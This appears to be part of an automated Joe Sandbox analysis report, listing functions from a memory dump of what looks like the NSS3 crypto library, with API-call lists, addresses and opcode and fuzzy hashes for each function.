Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 24ee87e47b6e7390ec5811c063a1e867e38178bf40a0c6bc89e6456d202f96c9
Instruction ID: 1b53a52ebed829b42b9bc67aba8ddb24c47a8bb40c5a4688420fb56cd2f713ee
Opcode Fuzzy Hash: 24ee87e47b6e7390ec5811c063a1e867e38178bf40a0c6bc89e6456d202f96c9
Instruction Fuzzy Hash: CF51CD35B44600CFEB20DE28D846B6673B9FF55318F204928E85A47B91D771E998CBD3

Function 6C9B6980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B5DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B5DEC
Part of subcall function 6C9B5DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C9B5E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B69BA

Part of subcall function 6C9FFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C9A9003,?), ref: 6C9FFD91
Part of subcall function 6C9FFD80: PORT_Alloc_Util.NSS3(A4686CA0,?), ref: 6C9FFDA2
Part of subcall function 6C9FFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CA0,?,?), ref: 6C9FFDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C9B6A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B6AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B6ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B6AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B6AE9

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: cbb0e834dbc0574cfe29a87b4c13aa8b56d84fb0746140c2c5b8e4a5c3027664
Instruction ID: 88e1ef731db6343d118e1cf6a72394024b43a1b38bf050e362d1f6a1e11e3968
Opcode Fuzzy Hash: cbb0e834dbc0574cfe29a87b4c13aa8b56d84fb0746140c2c5b8e4a5c3027664
Instruction Fuzzy Hash: 3B41B071640604ABEB149F28EC45B9777EDBF54314F188428E86AE7640EF31F811CBA1

Function 6C9EAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C9EAB3E,?,?,?), ref: 6C9EAC35

Part of subcall function 6C9CCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C9CCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C9EAB3E,?,?,?), ref: 6C9EAC55

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C9EAB3E,?,?), ref: 6C9EAC70

Part of subcall function 6C9CE300: TlsGetValue.KERNEL32 ref: 6C9CE33C
Part of subcall function 6C9CE300: EnterCriticalSection.KERNEL32(?), ref: 6C9CE350
Part of subcall function 6C9CE300: PR_Unlock.NSS3(?), ref: 6C9CE5BC
Part of subcall function 6C9CE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C9CE5CA
Part of subcall function 6C9CE300: TlsGetValue.KERNEL32 ref: 6C9CE5F2
Part of subcall function 6C9CE300: EnterCriticalSection.KERNEL32(?), ref: 6C9CE606
Part of subcall function 6C9CE300: PORT_Alloc_Util.NSS3(?), ref: 6C9CE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C9EAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9EAB3E), ref: 6C9EACD7
PORT_Alloc_Util.NSS3(?), ref: 6C9EAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C9EAD2B

Part of subcall function 6C9CF360: TlsGetValue.KERNEL32(00000000,?,6C9EA904,?), ref: 6C9CF38B
Part of subcall function 6C9CF360: EnterCriticalSection.KERNEL32(?,?,?,6C9EA904,?), ref: 6C9CF3A0
Part of subcall function 6C9CF360: PR_Unlock.NSS3(?,?,?,?,6C9EA904,?), ref: 6C9CF3D3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: c2c3ccbdac2dd40ebf77d1bd8d56dda8e5ceee9add1cb4dbb80f53e059e68421
Instruction ID: 209fb59a672cb9cfcaf6ca351fd935de0d19ff3d13dd6997bce978865151a644
Opcode Fuzzy Hash: c2c3ccbdac2dd40ebf77d1bd8d56dda8e5ceee9add1cb4dbb80f53e059e68421
Instruction Fuzzy Hash: 313129B1E006065FEB018F259C409AF7BBAEFA831CB198128E81557B50EF31DC45C7A1

Function 6C9A2920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C9A294E

Part of subcall function 6CA01820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C9A1D97,?,?), ref: 6CA01836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C9A296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C9A2991

Part of subcall function 6CA01820: PR_SetError.NSS3(FFFFE005,00000000,?,6C9A1D97,?,?), ref: 6CA0184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C9A29AF
PR_Now.NSS3 ref: 6C9A2A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A2A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A2A79

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: ec097a6a37b82280a2f712b3b6cd35a336410f8d657e3eef08e9dc0b685b5dd7
Instruction ID: 5e4e1381c1fbf473250e0807e31359a523aa8e3af7fe3da659f66eb4489df743
Opcode Fuzzy Hash: ec097a6a37b82280a2f712b3b6cd35a336410f8d657e3eef08e9dc0b685b5dd7
Instruction Fuzzy Hash: F341D371A087119FC314CE69D940B5FB3E9ABD8758F058A2DF89C93740E730E94E8792

Function 6C9C8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C9C8C7C

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C8CB0
TlsGetValue.KERNEL32 ref: 6C9C8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C9C8CE5
PR_Unlock.NSS3(?), ref: 6C9C8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C9C8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9C8D93

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 78341b683d4cc1567c436406deb8f8949b899fb72b485800d23b7dcc57e45695
Instruction ID: c01d7f4d633e85355fbf2bbfbe1343a8396974e3c7ade20fb1c65c95856770b8
Opcode Fuzzy Hash: 78341b683d4cc1567c436406deb8f8949b899fb72b485800d23b7dcc57e45695
Instruction Fuzzy Hash: 58312671B01201AFE708AF68DC4479AB7B8BF15318F14013AEA1967B50D770E968CBD7

Function 6CA09D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CA09C5B), ref: 6CA09D82

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CA09C5B), ref: 6CA09DA9

Part of subcall function 6CA01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0136A
Part of subcall function 6CA01340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0137E
Part of subcall function 6CA01340: PL_ArenaGrow.NSS3(?,6C99F599,?,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?), ref: 6CA013CF
Part of subcall function 6CA01340: PR_Unlock.NSS3(?,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CA09C5B), ref: 6CA09DCE

Part of subcall function 6CA01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA013F0
Part of subcall function 6CA01340: PL_ArenaGrow.NSS3(?,6C99F599,?,?,?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CA01445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CA09C5B), ref: 6CA09DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CA09C5B), ref: 6CA09DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CA09C5B), ref: 6CA09E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CA09C5B), ref: 6CA09E91

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Part of subcall function 6CA01560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C9FFAAB,00000000), ref: 6CA0157E
Part of subcall function 6CA01560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C9FFAAB,00000000), ref: 6CA01592
Part of subcall function 6CA01560: memset.VCRUNTIME140(?,00000000,?), ref: 6CA01600
Part of subcall function 6CA01560: PL_ArenaRelease.NSS3(?,?), ref: 6CA01620
Part of subcall function 6CA01560: PR_Unlock.NSS3(?), ref: 6CA01639

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 2cd142189434f60260ff910a885f09910c27c91cd9fbd2cb1da603569ce96904
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 044174B4601606AFE7409F25E940BA277A1FF4538CF548128D9184BF90E772E878CB90

Function 6C9CDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C9CDDEC

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

PK11_DigestBegin.NSS3(00000000), ref: 6C9CDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C9CDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C9CDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C9CDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C9CDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CDECC

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 2d190d1fefb482e8b62eda1e90ceeaf27300c2fe182141ace8a68d252c3815c9
Instruction ID: 834b86e3128df91b27f6680ca65d77e58b3a05fd936eecaa1a649b803ed599ec
Opcode Fuzzy Hash: 2d190d1fefb482e8b62eda1e90ceeaf27300c2fe182141ace8a68d252c3815c9
Instruction Fuzzy Hash: C631B5B3A402146BEB00AE69AD41BBB76A8AF64708F050165ED09A7741FB31D918C6E3

Function 6C9A7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9A7E48

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C9A7E5B

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9A7E7B

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CAC925C,?), ref: 6C9A7E92

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9A7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C9A7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C9A7EFA

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 266128b235fda06843370c2e2ba3139f4043c957e07d0a37cef8d753f881c759
Instruction ID: 78715769d92f82a4331e0127042b2c6b95fd350a81c63d9b8acef49b23160be2
Opcode Fuzzy Hash: 266128b235fda06843370c2e2ba3139f4043c957e07d0a37cef8d753f881c759
Instruction Fuzzy Hash: 3331A1B2A012119BEB108BA59D41B6B73ECAF4425DF194824ED55EBB05F730EC19C7E0

Function 6C9FDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C9FD9E4,00000000), ref: 6C9FDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C9FD9E4,00000000), ref: 6C9FDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C9FD9E4,00000000), ref: 6C9FDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C9FDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9FDCAD

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 06a3690cded320fba413f99ed2e8db5ee0fc18f6b6cf835127681eb2ccfa6a67
Instruction ID: ec52b9a0038455a19da88dc053f4a5ebadd98020aa89658ea48d12802024c5c1
Opcode Fuzzy Hash: 06a3690cded320fba413f99ed2e8db5ee0fc18f6b6cf835127681eb2ccfa6a67
Instruction Fuzzy Hash: 66315EB6A00201DFD750CF19D894B96B7F8EF05358F148429E96CCBB01E7B1E985CBA1

Function 6C9C2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C9BE728,?,00000038,?,?,00000000), ref: 6C9C2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9C2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9C2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C9C2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C9C2E9E
PR_Unlock.NSS3(?), ref: 6C9C2EAB
PR_Unlock.NSS3(?), ref: 6C9C2F0D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: bfa4b470132a6933badb62f9725dea9ce69340c89e6775d05d32d61c34adda37
Instruction ID: 438f4ecf01dab3cdca3e41ded22a8785df82fcfc188a441247ea78645c6d044b
Opcode Fuzzy Hash: bfa4b470132a6933badb62f9725dea9ce69340c89e6775d05d32d61c34adda37
Instruction Fuzzy Hash: 3F31E879B00606ABEB009F68EC44866BB79FF6525CB088174ED1897B11EB31EC65C7D2

Function 6CA0CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CA0CD93,?), ref: 6CA0CEEE

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CA0CD93,?), ref: 6CA0CEFC

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CA0CD93,?), ref: 6CA0CF0B

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CA0CD93,?), ref: 6CA0CF1D

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CA0CD93,?,?,?,?,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF78

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

